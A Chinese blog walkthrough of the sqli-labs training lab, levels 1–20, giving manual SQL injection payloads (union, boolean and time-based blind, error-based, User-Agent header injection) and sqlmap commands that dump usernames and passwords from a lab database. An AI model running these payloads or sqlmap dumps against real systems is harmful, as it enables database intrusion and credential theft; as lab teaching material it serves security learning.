sql_labs通关,手动加sqlmap

一、需要知道的内容

信息收集:
数据库版本:version()数据库名字:database() 数据库用户:user() 系统:@@version_compile_os
MySQL5.0以上版本自带一个information_schema数据库,储存所有的数据库名表名列名
数据库中 . (点)代表下一级 student.users 代表student数据库中的users表

二、关于sqlmap使用

看我另外一篇,点击下方蓝色字体

sqlmap详细使用方法

第1关

id=1,id=2返回类内容不同,输入的内容是带入到数据库里面查询了。

http://192.168.220.129/sql/sql/Less-1/?id=1

在这里插入图片描述
判断类型:这里我把源代码输出了,可以看到是单引号闭合
Order by 判断字段,4的时候报错,说明有3个字段

http://192.168.220.129/sql/sql/Less-1/?id=1' order by 4 --+

在这里插入图片描述

查看回显点

http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,3  --+

在这里插入图片描述
拿到据库名security,用户root

http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,database(),user()  --+

在这里插入图片描述
分步拿数据:数据库名—>对应表名—>对应列名—>需要的数据

http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  --+  
# 这里拿到数据库里的所有表名

在这里插入图片描述

http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  --+  
# 拿到users表下面的所有字段名

在这里插入图片描述

http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users  --+  
# 拿到需要的数据

sqlmap:我这里使用kali自带的,win要加python

# 爆出当前数据库名字
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' --current-db 
# 爆出所有表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security --tables
# 爆出所有字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users --columns
# 列出字段内容,拿数据
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users -C "id,username,password" --dump

最后放个成品图
在这里插入图片描述

第2关

比第一关还简单,没有任何闭合,这里直接上原码,流程跟第一关一样
判断回显点:

http://192.168.220.129/sql/sql/Less-2/?id=-1 union select 1,2,3

在这里插入图片描述
懒得截图,直接sqlmap
手动代码:

?id=-1 union select 1,2,3  --+
?id=-1  union select 1,database(),user()  --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

# 爆出当前数据库名字
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' --current-db 
# 爆出所有表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security --tables
# 爆出所有字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users --columns
# 列出字段内容,拿数据
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users -C "id,username,password" --dump

第3关

看源码是单引号加括号进行闭合
在这里插入图片描述
进行闭合,注释后面括号即可

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

sqlmap使用不变

第4关

分析原码,闭合从单引号变成双引号罢了,过程不变,跟第三关一样
在这里插入图片描述

第5关

看源码单引号闭合,order by 测试出三个字段

http://192.168.220.129/sql/sql/Less-5/?id=2 ' order by 4--+

在这里插入图片描述
联合查询发现没有回显点

http://192.168.220.129/sql/sql/Less-5/?id=-2 ' union select 1,2,3 --+

在这里插入图片描述
没有回显点,联合注入就没用了,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。

这里通过lenght()函数判断数据库名字的长度,=9时报错,所以是8位(security)

http://192.168.220.129/sql/sql/Less-5/?id=1' and length((select database()))=8--+

在这里插入图片描述
写不下去了,复制人家的吧

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

————————————————
版权声明:本文为CSDN博主「糊涂是福yyyy」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/dreamthe/article/details/123795302

这东西手工累嗝屁吧,我选择sqlmap

# sqlmap进行布尔盲注,爆出数据库名
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" --technique B --current-db --threads 10

看,一下子就爆出8位跟名字了
在这里插入图片描述

爆表
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" -D security --tables --threads 10  
报数据
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" --threads 10 -D security -T users --columns 
爆字段
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" --threads 10 -D security -T users -C "id,username,password" --dump

完美跑出来
在这里插入图片描述

第6关

看源码,跟上关一个样,闭合换成了双引号罢了
在这里插入图片描述

第7关

这不看原码,不用工具谁猜的出来,单引号加俩双引号,同上关
在这里插入图片描述

第8关

第八关和第五关一样就不多说了。只不过第八关没有报错信息,但是有you are in…进行参照。id参数是一个单引号字符串。

第9关

不管输入的正确的还是错误的页面都没变化,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

http://192.168.220.129/sql/sql/Less-9/?id=2' and 1=1--+

在这里插入图片描述

http://192.168.220.129/sql/sql/Less-9/?id=2' and 1=2--+

在这里插入图片描述
直接复制

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 
 
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

sqlmap:还是这个好用
使用时间盲注爆出数据库名,10线程,指定数据库为mysql,延迟为3秒,级别3

sqlmap -u "http://192.168.220.129/sql/sql/Less-9/?id=2" --threads 10  -dbms mysql --time-sec 3 --current-db -level 3

爆出之后正常操作,这是最后的结果,完美
在这里插入图片描述

第10关

跟第九关一样,单引号变成了双引号
在这里插入图片描述

第11关

post注入,输入1,1,bp抓包可以看到
在这里插入图片描述
在这里插入图片描述

uname=1&passwd=1&submit=Submit

可知注入点在uname=1&passwd=1
这里我把原码输出了,字符型,单引号闭合
在这里插入图片描述
跟前面一样,order by猜字段,3报错,有2个,union查询

uname=1’ order by 3#&passwd=1&submit=
回显点
uname=1’ union select 1,2#&passwd=1&submit=Submit
爆表
uname=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit
爆列
uname=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#&passwd=1&submit=Submit
爆字段
uname=1’ union select 1,group_concat(username,password) from users#&passwd=1&submit=Submit

sqlmap:

爆数据库名
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" --current-db
爆表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" -threads 10 -D security --tables
爆字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" -threads 10 -D security -T users --columns
爆内容
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" -threads 10 -D security -T users -C "password,username" --dump

第12关

看源码,单引号变成了双引号加括号
在这里插入图片描述

第13关

看源码,闭合为单引号加括号
在这里插入图片描述

第14关

闭合为双引号
在这里插入图片描述

第15关

没有回显点了,但是输入正确的用户名和密码跟错误的,返回页面不一样,可以盲注
在这里插入图片描述在这里插入图片描述
sqlmap盲注:这里我用的时间盲注,bp抓到的数据包保存到kali桌面

爆数据库名
sqlmap -r /root/桌面/15.txt  --time-sec 3 --current-db
爆表
sqlmap -r /root/桌面/15.txt   -D security --tables 

时间很久,等吧,但是可以爆出来

第16关

跟上关一样,闭合变成双引号了,继续盲注,还是时间盲注就好了
在这里插入图片描述

第17关

分析原码,updata更新,盲注和联合都不可以了,可以使用报错注入
这关对用户名进行修改,要先知道正确的用户名,用户名输错网页会报错,注入点在passwd

先用sqlmap:

爆数据库名
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" --current-db --threads 8 --technique E
爆表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" -D security -T --tables --threads 8 --technique E
爆字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" -D security  -T users --columns --threads 8 --technique E
爆内容
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" -D security  -T users -C "password,username" --dump --threads 8 --technique E

手动,三种报错extractvalue()报错注入,updatexml()报错注入和group by()报错注入
参考人家吧点我,点我,点我


1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#    爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#   爆数据库
 
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 
 爆字段名
 
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#      爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#

第18关

与上关不同,账号跟密码都被实例化了,这关必须先登录进去,登录进去之后可以看到浏览器UA和ip地址
在这里插入图片描述
在UA后面加个单引号,发现报错了所以这关肯定是在UA处搞事情,分析原码
在这里插入图片描述

在这里插入图片描述

注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。

要考虑value的闭合问题,假如我们利用的点是$uagent,那构建格式就应该是1’,1,1)#

爆库名
User-Agent: ',extractvalue(1,concat(0x23,database(),0x23,version(),0x23,user())),1)#
爆表名
User-Agent:',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#
爆列名
User-Agent:',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#
爆数据
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#

第19关

输入正确的账户密码我们的referer字段内容会显示在页面上。在这里插入图片描述抓包,referer后面加个单引号,会报错,跟上面一样的操作

第20关

输入正确页面时候cookie字段显示在页面上

总结

  • 5
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

青衫木马牛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值